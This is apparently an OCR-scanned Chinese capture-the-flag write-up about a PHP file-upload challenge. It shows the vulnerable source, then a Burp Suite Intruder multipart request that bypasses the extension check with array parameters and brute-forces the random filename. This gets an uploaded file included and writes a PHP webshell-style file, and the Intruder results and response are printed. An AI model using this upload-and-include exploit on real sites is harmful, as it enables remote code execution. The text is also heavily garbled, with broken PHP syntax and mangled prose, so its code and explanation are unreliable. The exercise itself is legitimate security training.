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<?php
//error_reporting(0);
//$dir=md5("icq" . $_SERVER[ 'REMOTE_ADDR']);
$dir=md5("icq");
$sandbox = '/var/sandbox/' . $dir;
@mkdir($sandbox);
@chdir($sandbox);

if($_FILES['file']['name']){

$filename = lempty($_POST['file']) ? $_POST['file'] : $ FILES['file']['name'];

if (!is_array($filename)) {
$filename = explode('.', $filename);

¥

$ext = end($filename);

if($ext==$filename[count($filename) - 1]){
die("emmmm...");

¥

$new_name = (string)rand(100,999).".".%ext;

move_uploaded_file($ FILES['file']['tmp_name'],$new _name);

$ = ¢ POST['hehe'];

if(@substr(file($ )[0],0,6)==="@<?php' && strpos($_,$new name)===false){
include($ );

}
unlink($new_name);
}
else{
highlight file(__ FILE_ );
}
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if($ext==$filename[count($filename) - 1])
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if (@substr(file($_)[0], 0, 6) === '@<?php' && strpos($_, $new _name) === false)

0x03 f5i fi#

B DB AT
B A strpos($_, $new_name) === false, RWIR E4&E—K A EEST

ﬁ&_‘

BATT BT &M% S, BAMMBRERN bit=) 88=) W, ROITULEE L&, £ ARG RERES, Boah—1 2%
EREEXAN M. HTREIE R ZE100-999, HburpsuiteF =4 intruder, 1434wk vl LARE S 0

Attack type: lSniper

POST / HTTR/ 1

Host: 127.0.0.1

Connection: close

Accept-Encading: gzip, deflate

Accept: "

User-Agent: python-requests/2.21.0

Content-Length: 450

Content-Type: multipartfarm-data; boundary=a4342c7d5hf383ea5c0dafbf e307 c2f

--ad342c7 d5bf383eabc0dafef 307 c2f
Content-Disposition: form-data; name="file[1]"

999
-—-ad342c7 dbhf383eabc0dafbfl 307 c2f

Content-Disposition: form-data; name="hehe"

§3§ php
--ad342c7 d5bf383eabc0dafef 307 c2f
Content-Disposition: form-data; name="file[0]"

php
--ad342c7 d5bf383eabcOdafefl e307 c2f
Content-Disposition: form-data; name="file"; filename="file"

@=?php file_put_contents('sss.php’, "@<?php phpinfa); 7="); echo "wolaile"; ?>
--ad4342c7 d5bf383eabc0dafef e307 c2f-
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B! Intruder attack 19 — O *
| Attack Save Columns
—j Results I Target I Positions T Payloads I Options ]
Filter: Showing all items @
Reguest | Payload | Status | Error |'I'|meout | Length ‘r| Comment h
181 246 200 O] 0 a74 A
16 922 200 O] | 375
2 173 200 O [ O Jz
0 200 O] ] 222
1 3 200 O] [] 222
2 992 200 O] ] 222
3 327 200 O] [] 222
4 103 200 O O 22
5 447 200 ] [] 222
6 447 200 O O 22 v
Reguest | Response 1
jRawT Headers I Hex I Render ]
HTTP/1.1 200 OK .
Date: Wed, 16 Oct 2019 16:52:00 GMT r
Server: Apache/2.4.23 (Win32) Open55L1.0.2) mod_fogid/2.3.9
¥-Powered-By: PHP/7.1.13
Connection: close
Caontent-Type: text/html; charset=UTF-8
Content-Length: 8
7 @wolaile
-
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